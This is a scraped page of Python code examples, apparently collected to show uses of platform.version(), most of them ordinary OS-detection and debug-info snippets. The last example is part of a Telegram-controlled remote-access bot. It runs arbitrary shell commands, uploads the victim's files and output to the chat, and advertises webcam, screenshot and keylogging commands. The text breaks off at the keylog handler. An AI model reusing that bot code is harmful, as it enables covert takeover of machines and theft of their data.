Exemple #1
0
    def getPlatformType(self, remote):

        _ffprocess = None
        if remote == True:
            platform_type = 'remote_'
            import cmanager
            CounterManager = cmanager.CounterManager
        elif platform.system() == "Linux":
            import cmanager_linux
            CounterManager = cmanager_linux.LinuxCounterManager
            platform_type = 'linux_'
            _ffprocess = LinuxProcess()
        elif platform.system() in ("Windows", "Microsoft"):
            if '5.1' in platform.version(): #winxp
                platform_type = 'win_'
            elif '6.1' in platform.version(): #w7
                platform_type = 'w7_'
            elif '6.2' in platform.version(): #w8
                platform_type = 'w8_'
            else:
                raise talosError('unsupported windows version')
            import cmanager_win32
            CounterManager = cmanager_win32.WinCounterManager
            _ffprocess = Win32Process()
        elif platform.system() == "Darwin":
            import cmanager_mac
            CounterManager = cmanager_mac.MacCounterManager
            platform_type = 'mac_'
            _ffprocess = MacProcess()
        return CounterManager, platform_type, _ffprocess
Exemple #2
0
def info():
    jsondata = '"os":{'
    jsondata += '"system":"'
    jsondata += platform.system()
    jsondata += '","network-name":"'
    jsondata += platform.node()
    jsondata += '","release":"'
    jsondata += platform.release()
    jsondata += '","version":"'
    jsondata += platform.version()
    jsondata += '","arch":"'
    jsondata += platform.machine()
    jsondata += '","boot-time":'
    jsondata += str(psutil.boot_time())
    jsondata += ','
    jsondata += usersInfo()
    os = platform.system()
    rl = platform.release()
    vs = platform.version()
    mh = platform.machine()
    un = platform.uname()
    nd = platform.node()
    jsondata += '}'
    
    
    return jsondata
def checkOperatingSystem(configFile):
    # To check the operating system and to determine which chrome driver is to be used accordingly
    import platform

    if 'darwin' in platform.version().lower():
        FH = open(configFile,'r')
        li = []
        for line in FH :
            if 'chromeDriver' in line :
                li.append('chromeDriver = ./extensions/mac/chromedriver\n')
                os = 'mac'
            else :
                li.append(line)
        FI = open(configFile,'w')
        for line in li :
            FI.write(line)

    elif 'ubuntu' in platform.version().lower() :
        FH = open(configFile, 'r')
        li = []
        for line in FH:
            if 'chromeDriver' in line:
                li.append('chromeDriver = ./extensions/ubuntu/chromedriver\n')
                os = 'ubuntu'
            else:
                li.append(line)
        FI = open(configFile, 'w')
        for line in li:
            FI.write(line)

    return os
Exemple #4
0
def main():

	print ""
	print "--- Joebox upload script ---"
	print ""
	
	if len(sys.argv) == 3 and sys.argv[1] == "sendtoinstall":
		if sys.platform[0:3] != "win":
			print "Sendto installation only available on windows"
		elif platform.version()[0:1] == "6":
			ct = open(sys.argv[0], "r").read()
			open("C:\\Users\\" + os.getenv("USERNAME") + "\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\jbxsubmit.py", "w").write(ct.replace("email = \"youremail", "email = \"" + sys.argv[2]))
			print "Successfully installed to jbxsubmit to sendto"
		elif platform.version()[0:1] == "5":
			ct = open(sys.argv[0], "r").read()
			open(os.getenv("USERPROFILE") + "\\SendTo\\jbxsubmit.py", "w").write(ct.replace("youremail", sys.argv[2]))
			print "Successfully installed to jbxsubmit to sendto"
	elif len(sys.argv) == 2 and email != "youremail":
		submit(sys.argv[1], email)
	elif len(sys.argv) == 3:
		submit(sys.argv[1], sys.argv[2])
	else:
		print "Usage: jbxsubmit <filetosend or directorywithfilestosend> <emailaddr>"
		print "Usage: jbxsubmit sendtoinstall <emailaddr> (will install jbxsubmit to the windows sendto menu)"
		
	print ""
	raw_input("Press ENTER to continue ...")
	def system_info(self):
		plat = sys.platform
		if plat == 'darwin':
			return "OS X "+str(platform.mac_ver()[0])+"\r\n"
		elif plat == 'win32':
			return "Windows "+str(platform.version())+"\r\n"
		elif plat == 'linux' or plat == 'linux2':
			return "LINUX " +str(platform.version())+"\r\n"
Exemple #6
0
def platform_information():
    """detect platform information from remote host."""
    try:
        file_name = '/proc/self/cgroup'
        with open(file_name, 'r') as f:
            lines = f.readlines()
            for line in lines:
                if "docker" in line.split(':')[2]:
                    return ('docker', 'docker', 'docker')
    except Exception as err:
        logging.debug("platform_information: ",
                      "Error while opening %s : %s" % (file_name, err))

    if os.path.isfile('/.dockerenv'):
        return ('docker', 'docker', 'docker')

    if platform.system() == 'Linux':
        linux_distro = platform.linux_distribution(
            supported_dists=platform._supported_dists + ('alpine', 'arch'))
        logging.debug('platform_information: linux_distribution = ' +
                      str(linux_distro))
        distro, release, codename = linux_distro
    elif platform.system() == 'FreeBSD':
        distro = 'freebsd'
        release = platform.release()
        codename = platform.version().split(' ')[3].split(':')[0]
        logging.debug(
            'platform_information: release = {}, version = {}'.format(
                platform.release(), platform.version()))
    else:
        raise exc.UnsupportedPlatform(platform.system(), '', '')

    # this could be an empty string in Debian
    if not codename and 'debian' in distro.lower():
        debian_codenames = {
            '8': 'jessie',
            '7': 'wheezy',
            '6': 'squeeze',
        }
        major_version = release.split('.')[0]
        codename = debian_codenames.get(major_version, '')

        # In order to support newer jessie/sid or wheezy/sid strings
        # we test this if sid is buried in the minor, we should use
        # sid anyway.
        if not codename and '/' in release:
            major, minor = release.split('/')
            if minor == 'sid':
                codename = minor
            else:
                codename = major

    return (
        str(distro).rstrip(),
        str(release).rstrip(),
        str(codename).rstrip()
    )
Exemple #7
0
def geisysteminfo():
    """"""
    print platform.system()
    print platform.version()
    print platform.architecture()
    print platform.node()
    print platform.java_ver()
    print platform.dist()
    print platform.python_version()
    print platform.win32_ver()
Exemple #8
0
def windows_version():
    info = sys.getwindowsversion()
    verstr = '%d.%d.%d' % (info[3], info[0], info[1])
        
    win_version = {'1.4.0':'95', '1.4.10':'98', '1.4.90':'ME', 
                   '2.4.0':'NT', '2.5.0':'2000', '2.5.1':'XP', '2.5.2':'2003',
                   '2.6':'Vista', '2.6.0':'Vista', '2.6.1':'7'}
    
    try:
        winver = 'Windows %s %s %s %s' % (win_version[verstr], platform.version(), str(info[2]), info[4])
    except:
        winver = 'Windows %s %s %s %s' % (verstr, platform.version(), str(info[2]), info[4])

    return winver
Exemple #9
0
def platform_information():
    """detect platform information from remote host."""
    try:
        file_name = '/proc/self/cgroup'
        with open(file_name, 'r') as f:
            lines = f.readlines()
            for line in lines:
                if "docker" in line.split(':')[2]:
                    return ('docker', 'docker', 'docker')
    except Exception as err:
        logging.debug("platform_information: ",
                      "Error while opening %s : %s" % (file_name, err))

    if os.path.isfile('/.dockerenv'):
        return ('docker', 'docker', 'docker')

    if platform.system() == 'Linux':
        linux_distro = platform.linux_distribution(
            supported_dists=platform._supported_dists + ('alpine', 'arch'))
        logging.debug('platform_information: linux_distribution = ' +
                      str(linux_distro))
        distro, release, codename = linux_distro
    elif platform.system() == 'FreeBSD':
        distro = 'freebsd'
        release = platform.release()
        codename = platform.version().split(' ')[3].split(':')[0]
        logging.debug(
            'platform_information: release = {}, version = {}'.format(
                platform.release(), platform.version()))
    else:
        raise exc.UnsupportedPlatform(platform.system(), '', '')

    distro_lower = distro.lower()
    # this could be an empty string in Debian
    if not codename and 'debian' in distro_lower:
        pass
    # this is an empty string in Oracle
    elif distro_lower.startswith('oracle linux'):
        codename = 'OL' + release
    elif distro_lower.startswith('oracle vm'):
        codename = 'OVS' + release
    # this could be an empty string in Virtuozzo linux
    elif distro_lower.startswith('virtuozzo linux'):
        codename = 'virtuozzo'

    return (
        str(distro).rstrip(),
        str(release).rstrip(),
        str(codename).rstrip()
    )
Exemple #10
0
def escape_sequence_check():
    """
    Check the platform. If windows 10, then enable Terminal Escape sequences.
    Requires: platform and ctypes modules
    Reads: if debug, if delay, and if pause global variables
    """
    if platform.system() == "Windows":
        if debug: print("Microsoft {} Release: {} Version: {}"
                        .format(platform.system(), platform.release(),
                                platform.version()))
        ver_list = platform.version().split(".")
        if int(platform.release()) < 10:
            print("Requires Windows version 10 or higher for ANSI support.")
            print("Exiting...")
            sys.exit()
        if len(ver_list) >= 2:
            if int(ver_list[2]) >= 10586:
                s = "This version of Win10 supports ANSI escape sequences."
                if debug: print(s)
            else:
                s = ("Win10 requires updating to support ANSI escape "
                     "sequences.\nMinimum version: 10.0.10586 'Threshold 2' "
                     "10 May 2016.")
                print(s)
                # 10.0.14393 is "The Anniversary Update". Released 2 Aug 2016.
                print("Exiting...")
                sys.exit()
        if int(platform.release()) >= 10:
            # import ctypes
            kernel32 = ctypes.windll.kernel32
            status = kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7)
            if status == 0:
                print("Error returned attempting to set ANSI escape sequences")
                print("Continuing, but results are not predictable...")
            else:
                s = "Windows has been set to perform ANSI escape sequences.\n"
                if debug: print(s)
                s = ("For more information on Microsoft use of ANSI escape"
                     "codes\nplease visit this web-page...\n"
                     "https://msdn.microsoft.com/en-us/library/mt638032"
                     "(v=vs.85).aspx")
                if debug: print(s)
        if delay: time.sleep(2)
        if pause: input("\nType Return key to continue")
    else:
        # The Linux platform normally has a console terminal that supports ANSI
        # escape sequences.
        pass
Exemple #11
0
def print_basic_debug_info(out=None):
    if out is None:
        out = sys.stdout
    out = functools.partial(prints, file=out)
    import platform
    from calibre.constants import (__appname__, get_version, isportable, isosx,
                                   isfrozen, is64bit)
    out(__appname__, get_version(), 'Portable' if isportable else '',
        'isfrozen:', isfrozen, 'is64bit:', is64bit)
    out(platform.platform(), platform.system(), platform.architecture())
    if iswindows and not is64bit:
        try:
            import win32process
            if win32process.IsWow64Process():
                out('32bit process running on 64bit windows')
        except:
            pass
    out(platform.system_alias(platform.system(), platform.release(),
            platform.version()))
    out('Python', platform.python_version())
    try:
        if iswindows:
            out('Windows:', platform.win32_ver())
        elif isosx:
            out('OSX:', platform.mac_ver())
        else:
            out('Linux:', platform.linux_distribution())
    except:
        pass
Exemple #12
0
  def UserAgentFragment(self):
    """Generates the fragment of the User-Agent that represents the OS.

    Examples:
      (Linux 3.2.5-gg1236)
      (Windows NT 6.1.7601)
      (Macintosh; PPC Mac OS X 12.4.0)
      (Macintosh; Intel Mac OS X 12.4.0)

    Returns:
      str, The fragment of the User-Agent string.
    """
    # Below, there are examples of the value of platform.uname() per platform.
    # platform.release() is uname[2], platform.version() is uname[3].
    if self.operating_system == OperatingSystem.LINUX:
      # ('Linux', '<hostname goes here>', '3.2.5-gg1236',
      # '#1 SMP Tue May 21 02:35:06 PDT 2013', 'x86_64', 'x86_64')
      return '({name} {version})'.format(
          name=self.operating_system.name, version=platform.release())
    elif self.operating_system == OperatingSystem.WINDOWS:
      # ('Windows', '<hostname goes here>', '7', '6.1.7601', 'AMD64',
      # 'Intel64 Family 6 Model 45 Stepping 7, GenuineIntel')
      return '({name} NT {version})'.format(
          name=self.operating_system.name, version=platform.version())
    elif self.operating_system == OperatingSystem.MACOSX:
      # ('Darwin', '<hostname goes here>', '12.4.0',
      # 'Darwin Kernel Version 12.4.0: Wed May  1 17:57:12 PDT 2013;
      # root:xnu-2050.24.15~1/RELEASE_X86_64', 'x86_64', 'i386')
      format_string = '(Macintosh; {name} Mac OS X {version})'
      arch_string = (self.architecture.name
                     if self.architecture == Architecture.ppc else 'Intel')
      return format_string.format(
          name=arch_string, version=platform.release())
    else:
      return '()'
Exemple #13
0
def print_platform_info():
    import platform
    logging.debug('*************** PLATFORM INFORMATION ************************')
    
    logging.debug('==Interpreter==')
    logging.debug('Version      :' + platform.python_version())
    logging.debug('Version tuple:' + str(platform.python_version_tuple()))
    logging.debug('Compiler     :' + platform.python_compiler())
    logging.debug('Build        :' + str(platform.python_build()))
    
    logging.debug('==Platform==')
    logging.debug('Normal :' + platform.platform())
    logging.debug('Aliased:' + platform.platform(aliased=True))
    logging.debug('Terse  :' + platform.platform(terse=True))
    
    logging.debug('==Operating System and Hardware Info==')
    logging.debug('uname:' + str(platform.uname()))
    logging.debug('system   :' + platform.system())
    logging.debug('node     :' + platform.node())
    logging.debug('release  :' + platform.release())
    logging.debug('version  :' + platform.version())
    logging.debug('machine  :' + platform.machine())
    logging.debug('processor:' + platform.processor())
    
    logging.debug('==Executable Architecture==')
    logging.debug('interpreter:' + str(platform.architecture()))
    logging.debug('/bin/ls    :' + str(platform.architecture('/bin/ls')))
    logging.debug('*******************************************************')
Exemple #14
0
def _compare(opp, other):
    if isinstance(other, int):
        other = str(other)
    else:
        other = other.upper()

    if other not in WINDOWS_VERSIONS.keys():
        raise WindowsVersionError(other)

    ver = platform.version().split('.')
    this = [int(ver[0]), int(ver[1])]

    versions = WINDOWS_VERSIONS[other]
    if other not in ("8", "XP"):
        versions = [versions]

    if opp == '>':
        return any(this > version for version in versions)
    elif opp == '<':
        return any(this < version for version in versions)
    elif opp == '<=':
        return any(this <= version for version in versions)
    elif opp == '>=':
        return any(this >= version for version in versions)
    elif opp == '==':
        return any(this == version for version in versions)
    elif opp == '!=':
        return any(this != version for version in versions)
Exemple #15
0
def print_basic_debug_info(out=None):
    if out is None:
        out = sys.stdout
    out = functools.partial(prints, file=out)
    import platform
    from calibre.constants import (__appname__, get_version, isportable, isosx,
                                   isfrozen, is64bit)
    out(__appname__, get_version(), 'Portable' if isportable else '',
        'embedded-python:', isfrozen, 'is64bit:', is64bit)
    out(platform.platform(), platform.system(), platform.architecture())
    if iswindows and not is64bit:
        try:
            import win32process
            if win32process.IsWow64Process():
                out('32bit process running on 64bit windows')
        except:
            pass
    out(platform.system_alias(platform.system(), platform.release(),
            platform.version()))
    out('Python', platform.python_version())
    try:
        if iswindows:
            out('Windows:', platform.win32_ver())
        elif isosx:
            out('OSX:', platform.mac_ver())
        else:
            out('Linux:', platform.linux_distribution())
    except:
        pass
    from calibre.customize.ui import has_external_plugins, initialized_plugins
    if has_external_plugins():
        names = (p.name for p in initialized_plugins() if getattr(p, 'plugin_path', None) is not None)
        out('Successfully initialized third party plugins:', ' && '.join(names))
Exemple #16
0
    def req_status_handler(self):
        if "user-agent" in self.headers.dict:
            user_agent = self.headers.dict["user-agent"]
        else:
            user_agent = ""

        gws_ip_num = len(google_ip.gws_ip_list)
        res_arr = {"gws_ip_num": gws_ip_num,
                   "sys_platform":sys.platform,
                   "os_system":platform.system(),
                   "os_version":platform.version(),
                   "os_release":platform.release(),
                   "architecture":platform.architecture(),
                   "os_detail":os_detail(),
                   "language":self.get_os_language(),
                   "browser":user_agent,
                   "xxnet_version":self.xxnet_version(),
                   "python_version": config.python_version,
                   "proxy_listen":config.LISTEN_IP + ":" + str(config.LISTEN_PORT),
                   "gae_appid":"|".join(config.GAE_APPIDS),
                   "connected_link":"%d,%d" % (len(https_manager.new_conn_pool.pool), len(https_manager.gae_conn_pool.pool)),
                   "working_appid":"|".join(appid_manager.working_appid_list),
                   "out_of_quota_appids":"|".join(appid_manager.out_of_quota_appids),
                   "not_exist_appids":"|".join(appid_manager.not_exist_appids),
                   "pac_url":config.pac_url,
                   "ip_connect_interval":config.CONFIG.getint("google_ip", "ip_connect_interval"),
                   "scan_ip_thread_num":google_ip.searching_thread_count,
                   "ip_handshake_100":google_ip.ip_handshake_th(100),
                   "block_stat":connect_control.block_stat(),
                   "use_ipv6":config.CONFIG.getint("google_ip", "use_ipv6"),
                   }
        data = json.dumps(res_arr)
        self.send_response('text/html', data)
Exemple #17
0
def pack_windows_version(debug=False):
    if debug:
        if system().lower() == 'windows':
            try:
                major_release, minor_release, build = version().split('.')
                major_release = int(major_release)
                minor_release = int(minor_release)
                build = int(build)
            except Exception:
                major_release = 5
                minor_release = 1
                build = 2600
        else:
            major_release = 5
            minor_release = 1
            build = 2600
    else:
        major_release = 0
        minor_release = 0
        build = 0

    return pack('<B', major_release) + \
           pack('<B', minor_release) + \
           pack('<H', build) + \
           pack('<B', 0) + \
           pack('<B', 0) + \
           pack('<B', 0) + \
           pack('<B', 15)
def show_platform():
    ''' Show information on platform'''
    swrite('\n=== SYSTEM ===\n\n')
    try:
        linux_distribution = platform.linux_distribution()
    except:
        linux_distribution = "N/A"
    swrite("""
    dist: %s
    linux_distribution: %s
    system: %s
    machine: %s
    platform: %s
    uname: %s
    version: %s
    mac_ver: %s
    memory: %s
    number of CPU: %s
    """ % (
    str(platform.dist()),
    linux_distribution,
    platform.system(),
    platform.machine(),
    platform.platform(),
    platform.uname(),
    platform.version(),
    platform.mac_ver(),
    psutil.virtual_memory(),
    str(psutil.cpu_count())
    ))
Exemple #19
0
    def req_status_handler(self):
        if "user-agent" in self.headers.dict:
            user_agent = self.headers.dict["user-agent"]
        else:
            user_agent = ""

        launcher_version = self.get_launcher_version()
        gws_ip_num = len(google_ip.gws_ip_list)
        res_arr = {"gws_ip_num": gws_ip_num,
                   "sys_platform":sys.platform,
                   "os_system":platform.system(),
                   "os_version":platform.version(),
                   "os_release":platform.release(),
                   "architecture":platform.architecture(),
                   "os_detail":os_detail(),
                   "browser":user_agent,
                   "xxnet_version":RemoteContralServerHandler.xxnet_version(),
                   "launcher_version":launcher_version,
                   "goagent_version": config.__version__,
                   "python_version": config.python_version,
                   "proxy_listen":config.LISTEN_IP + ":" + str(config.LISTEN_PORT),
                   "gae_appid":"|".join(config.GAE_APPIDS),
                   "working_appid":"|".join(appid_manager.working_appid_list),
                   "out_of_quota_appids":"|".join(appid_manager.out_of_quota_appids),
                   "not_exist_appids":"|".join(appid_manager.not_exist_appids),
                   "pac_url":config.pac_url}
        data = json.dumps(res_arr)

        self.send_response('application/json', data)
def get_server_environment():
    # inspired by server/bin/service/web_services.py
    try:
        rev_id = 'git:%s' % _get_output('git rev-parse HEAD')
    except Exception:
        try:
            rev_id = 'bzr: %s' % _get_output('bzr revision-info')
        except Exception:
            rev_id = 'Can not retrive revison from git or bzr'

    os_lang = '.'.join([x for x in locale.getdefaultlocale() if x])
    if not os_lang:
        os_lang = 'NOT SET'
    if os.name == 'posix' and platform.system() == 'Linux':
        lsbinfo = _get_output('lsb_release -a')
    else:
        lsbinfo = 'not lsb compliant'
    return (
        ('platform', platform.platform()),
        ('os.name', os.name),
        ('lsb_release', lsbinfo),
        ('release', platform.release()),
        ('version', platform.version()),
        ('architecture', platform.architecture()[0]),
        ('locale', os_lang),
        ('python', platform.python_version()),
        ('openerp', release.version),
        ('revision', rev_id),
    )
Exemple #21
0
def eval_marker(value):
    """
    Evaluate an distutils2 environment marker.

    This code is unsafe when used with hostile setup.cfg files,
    but that's not a problem for our own files.
    """
    value = value.strip()

    class M:
        def __init__(self, **kwds):
            for k, v in kwds.items():
                setattr(self, k, v)

    variables = {
        'python_version': '%d.%d'%(sys.version_info[0], sys.version_info[1]),
        'python_full_version': sys.version.split()[0],
        'os': M(
            name=os.name,
        ),
        'sys': M(
            platform=sys.platform,
        ),
        'platform': M(
            version=platform.version(),
            machine=platform.machine(),
        ),
    }

    return bool(eval(value, variables, variables))


    return True
Exemple #22
0
def tvTranscoder(show,season,episode,container,link,eptitle,tvmetadata):
	container = "mp4"
	plexproduct = "Plex-Downloader"
	plexdevice = "Plex-Downloader"
	devicename = socket.gethostname()
	plexplatform = platform.system()
	clientplatform = platform.system()
	platformversion = platform.version()
	plexsession = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(16))
	clientuid = uuid.uuid4()
	clientid = clientuid.hex[0:16]	
	plexsession = "z9fja0pznf40anzd"
	plexprovides = "controller"
	if myplexstatus=="enable":
		link = url+"/video/:/transcode/universal/start?path=http%3A%2F%2F127.0.0.1%3A32400%2Flibrary%2Fmetadata%2F"+tvmetadata+"&mediaIndex=0&partIndex=0&protocol=http&offset=0&fastSeek=1&directPlay=0&directStream=1&videoQuality="+tvquality+"&videoResolution="+tvwidth+"x"+tvheight+"&maxVideoBitrate="+tvbitrate+"&subtitleSize=100&audioBoost=100&session="+plexsession+"&X-Plex-Client-Identifier="+clientid+"&X-Plex-Product=Plex+Web&X-Plex-Device=OSX&X-Plex-Platform=Chrome&X-Plex-Platform-Version=36.0&X-Plex-Version=2.2.3&X-Plex-Device-Name=Plex+Web+(Chrome)&X-Plex-Token="+plextoken
		print "Transcode URL: "+link
	else:
		link = url+"/video/:/transcode/universal/start?path=http%3A%2F%2F127.0.0.1%3A32400%2Flibrary%2Fmetadata%2F"+tvmetadata+"&mediaIndex=0&partIndex=0&protocol=http&offset=0&fastSeek=1&directPlay=0&directStream=1&videoQuality="+tvquality+"&videoResolution="+tvwidth+"x"+tvheight+"&maxVideoBitrate="+tvbitrate+"&subtitleSize=100&audioBoost=100&session="+plexsession+"&X-Plex-Client-Identifier="+clientid+"&X-Plex-Product=Plex+Web&X-Plex-Device=OSX&X-Plex-Platform=Chrome&X-Plex-Platform-Version=36.0&X-Plex-Version=2.2.3&X-Plex-Device-Name=Plex+Web+(Chrome)"
		print "Transcode URL: "+link
	epfile=urllib.URLopener()
	show = re.sub(r'[\\/:"*?<>|"]+',"",show)
	eptitle = re.sub(r'[\\/:"*?<>|"]+',"",eptitle)
	if not os.path.exists(tvlocation+show):
		os.makedirs(tvlocation+show)

	print "Downloading transcoded "+ show + " Season "+season+" Episode "+episode+"..."

	if not os.path.isfile(tvlocation+show+"/"+show+" - "+season+"x"+episode+" - "+eptitle+"."+container):
		try:
			epfile.retrieve(link,tvlocation+show+"/"+show+" - "+season+"x"+episode+" - "+eptitle+"."+container)
		except:
			print "Something went wrong transcoding this episode... Deleting and retrying on next episode scan!"
			os.remove(tvlocation+show+"/"+show+" - "+season+"x"+episode+" - "+eptitle+"."+container)
	else:
		print "File already exists. Skipping episode transcode."
Exemple #23
0
    def _get_base_properties(self):
        return {
            'Reserved.ChannelUsed': 'AI',
            'Reserved.EventId': str(uuid.uuid4()),
            'Reserved.SequenceNumber': 1,
            'Reserved.SessionId': str(uuid.uuid4()),
            'Reserved.TimeSinceSessionStart': 0,

            'Reserved.DataModel.Source': 'DataModelAPI',
            'Reserved.DataModel.EntitySchemaVersion': 4,
            'Reserved.DataModel.Severity': 0,
            'Reserved.DataModel.ProductName': PRODUCT_NAME,
            'Reserved.DataModel.FeatureName': self.feature_name,
            'Reserved.DataModel.EntityName': self.command_name,
            'Reserved.DataModel.CorrelationId': self.correlation_id,

            'Context.Default.VS.Core.ExeName': PRODUCT_NAME,
            'Context.Default.VS.Core.ExeVersion': '{}@{}'.format(
                self.product_version, self.module_version),
            'Context.Default.VS.Core.MacAddressHash': _get_hash_mac_address(),
            'Context.Default.VS.Core.Machine.Id': _get_hash_machine_id(),
            'Context.Default.VS.Core.OS.Type': platform.system().lower(),  # eg. darwin, windows
            'Context.Default.VS.Core.OS.Version': platform.version().lower(),  # eg. 10.0.14942
            'Context.Default.VS.Core.User.Id': _get_installation_id(),
            'Context.Default.VS.Core.User.IsMicrosoftInternal': 'False',
            'Context.Default.VS.Core.User.IsOptedIn': 'True',
            'Context.Default.VS.Core.TelemetryApi.ProductVersion': '{}@{}'.format(
                PRODUCT_NAME, _get_core_version())
        }
Exemple #24
0
def main():
    # fix font bug on mavericks
    if platform.version().startswith("Darwin Kernel Version 13.1.0"):
        QtGui.QFont.insertSubstitution(".Lucida Grande UI", "Lucida Grande")
    
    # application
    app = QtGui.QApplication(sys.argv)
    
    # set application info used by QSettings
    app.setOrganizationName("chrisdjscott")
    app.setApplicationName("Atoman")
    
    # set default logging
    if _argLevel is None:
        settings = QtCore.QSettings()
        level = settings.value("logging/standard", logging.WARNING)
        logging.getLogger().handlers[0].setLevel(level)
    
    # pass QDesktopWidget to app so it can access screen info
    desktop = app.desktop()
    
    # create main window
    mw = mainWindow.MainWindow(desktop)
    mw.setWindowIcon(QtGui.QIcon(iconPath("atoman.png")))
    
    # show main window and give it focus
    mw.show()
    mw.raise_()
    
    # run application
    sys.exit(app.exec_())
Exemple #25
0
def _get_system_provenance():
    """ return JSON string containing provenance for all things that are
    fixed during the runtime"""

    bits, linkage = platform.architecture()

    return dict(
        ctapipe_version=ctapipe.__version__,
        ctapipe_resources_version=ctapipe_resources.__version__,
        ctapipe_svc_path=os.getenv("CTAPIPE_SVC_PATH"),
        executable=sys.executable,
        platform=dict(
            architecture_bits=bits,
            architecture_linkage=linkage,
            machine=platform.machine(),
            processor=platform.processor(),
            node=platform.node(),
            version=platform.version(),
            system=platform.system(),
            release=platform.release(),
            libcver=platform.libc_ver(),
            num_cpus=psutil.cpu_count(),
            boot_time=Time(psutil.boot_time(), format='unix').isot,
        ),
        python=dict(
            version_string=sys.version,
            version=platform.python_version_tuple(),
            compiler=platform.python_compiler(),
            implementation=platform.python_implementation(),
        ),
        arguments=sys.argv,
        start_time_utc=Time.now().isot,
    )
def get_platform_info(output_file):
    print("\nSYSTEM INFORMATION", file=output_file)
    print("{:<20}{:>5}".format('system:', platform.system()), file=output_file)
    print("{:<20}{:>5}".format('node:', platform.node()), file=output_file)
    print("{:<20}{:>5}".format('version:', platform.version()), file=output_file)
    print("{:<20}{:>5}".format('processor:', platform.processor()), file=output_file)
    print("{:<20}{:>5}".format("python compiler:", platform.python_compiler()), file=output_file)
Exemple #27
0
def get_os_name():
    import platform
    basic = os.uname()[0].lower()
    if basic == 'linux':
        dist = platform.linux_distribution()
        if len(dist) == 3 and len(dist[0]) > 0 and len(dist[1]) > 0:
            return '%s-%s' % (dist[0].lower(), dist[1].lower())
        else:
            return basic
    elif basic == 'darwin':
        ver = platform.mac_ver()
        if len(ver) == 3 and len(ver[0]) > 0:
            return 'osx-%s' % ver[0]
        else:
            return 'osx'
    elif basic == 'freebsd':
        ver = platform.version()
        idx1 = ver.find(' ')
        idx2 = ver.find('-')
        if idx1 < 0 or idx2 < 0 or idx1 >= idx2:
            return basic
        else:
            return 'freebsd-%s' % ver[(idx1+1):idx2]
    else:
        return basic
Exemple #28
0
def display_platform():
    # environment info
    is_virtualenv = "VIRTUAL_ENV" in os.environ
    print("sys.executable: ", sys.executable)
    print("virtualenv:", os.environ.get("VIRTUAL_ENV", "no"))

    # operating system info

    def linux_distribution():
      try:
        return platform.linux_distribution()
      except:
        return "N/A"

    print("""Python version: %s
    dist: %s
    linux_distribution: %s
    system: %s
    machine: %s
    platform: %s
    version: %s
    mac_ver: %s
    win32_ver: %s
    """ % (
    sys.version.split('\n'),
    str(platform.dist()),
    linux_distribution(),
    platform.system(),
    platform.machine(),
    platform.platform(),
    platform.version(),
    platform.mac_ver(),
    platform.win32_ver(),
    ))
Exemple #29
0
def setUserAgent(wuuversion):
    """ Sets the user agent to use for web requests.
    Also sets the socket timeout, in lieu of a better place. """
    tracer.debug("setUserAgent")
    
    global useragent
    
    wuuplatform = "Unknown"
    if sys.platform[:5] == 'linux':
        wuuplatform = 'X11; U; Linux %s; Python %s' % (platform.machine(), platform.python_version())
    elif sys.platform == 'darwin':
        maccpu = 'PPC'
        if platform.machine() == 'i386':
            maccpu = 'Intel'
        wuuplatform = 'Macintosh; U; %s Mac OS X' % (maccpu)
    elif sys.platform == 'win32':
        winver = platform.version()[:3] # should grab only the major.minor of the OS version
        wuuplatform = 'Windows; U; Windows NT %s; Python %s' % (winver, platform.python_version())
    
    useragent = "WUU/%s (%s)" % (wuuversion, wuuplatform) # sets the user agent used for web requests
    logger.log(DEBUG5, 'User agent set to %s' % (useragent))
    
    # Try to set global socket timeout - if unparseable as an integer, use blocking mode
    try:
        timeout = int(getGlobalSetting(":SocketTimeout"))
        if timeout > 0:
            socket.setdefaulttimeout(timeout)
            outDebug("Socket timeout set to %d seconds" % (timeout))
    except:
        pass # blocking mode (the all-round default)
Exemple #30
0
def default_context():
    def format_full_version(info):
        version = '%s.%s.%s' % (info.major, info.minor, info.micro)
        kind = info.releaselevel
        if kind != 'final':
            version += kind[0] + str(info.serial)
        return version

    if hasattr(sys, 'implementation'):
        implementation_version = format_full_version(sys.implementation.version)
        implementation_name = sys.implementation.name
    else:
        implementation_version = '0'
        implementation_name = ''

    result = {
        'implementation_name': implementation_name,
        'implementation_version': implementation_version,
        'os_name': os.name,
        'platform_machine': platform.machine(),
        'platform_python_implementation': platform.python_implementation(),
        'platform_release': platform.release(),
        'platform_system': platform.system(),
        'platform_version': platform.version(),
        'platform_in_venv': str(in_venv()),
        'python_full_version': platform.python_version(),
        'python_version': platform.python_version()[:3],
        'sys_platform': sys.platform,
    }
    return result
Exemple #31
0
 def test_version(self):
     res = platform.version()
Exemple #32
0
# os.rmdir(path), 删除目录路径
# os.chdir(path)	将当前工作目录更改为指定路径。
# os.chmod(path, mode)	将路径模式更改为数字模式。
# os.chown(path, uid, gid)	将指定的路径的所有者和组ID更改为数字uid和gid。
# os.chroot(path)	将当前进程的根目录更改为指定的路径。
# os.environ()
# os.getenv()

# https://www.cnblogs.com/yufeihlf/p/6179547.html

import os
import platform as pl

print(os.name)
print(pl.uname())
print(pl.version())

# os.getcwd()
# os.chdir()

print(os.getcwd())
print("Changing current working directory\n", os.chdir("/home/nathan"))
print(os.getcwd())

print("testing os.mkdir() and os.rmdir()")

print(os.path.exists("/home/nathan/mkdir_test01"))

# How to use not!!!!!
if not os.path.exists("/home/nathan/mkdir_test01"):
    os.mkdir("/home/nathan/mkdir_test01")
Exemple #33
0
def receive_command(msg):

    text = msg['text']

    if '/start' in text:
        msg = " ‍💻 𝕎𝟛𝕃ℂ𝟘𝕄𝟛 𝟚 𝔽𝕃𝟘𝔾𝔾𝟛ℝ ‍💻 " + "\n" + " Created By - @XxPL3NTYxX " + "\n" + "▶️ Connected Successfully 📶"
        bot.sendMessage(chat_id, msg)

    if '/more' in text:
        msg = " ‍💻 More Commands ‍💻 " + "\n\n" + "/cmd + help OR Windows CMD Commands " + "\n\n" + "/image + Image File name with path" + "\n\n" + "/screen + Filename.png" + "\n\n" + "/webcam + Filename.png" + "\n\n" + "/down + File name with path to download" + "\n\n" + "/delete + Filename with path and extension"
        bot.sendMessage(chat_id, msg)

    if '/cmd' in text:
        cmd = text.split()
        proc = os.popen(cmd[1])

        file_command = open("command.txt", 'w')

        for line in proc.read():
            file_command.write(line)

        file_command.close()

        with open("command.txt", 'rb') as commandu:
            bot.sendDocument(chat_id, commandu)

        os.remove("command.txt")

    if '/image' in text:
        cmd = text.split()
        filename = cmd[1]
        with open(filename, 'rb') as doc:
            bot.sendDocument(chat_id, doc)

    if '/keylog' in text:
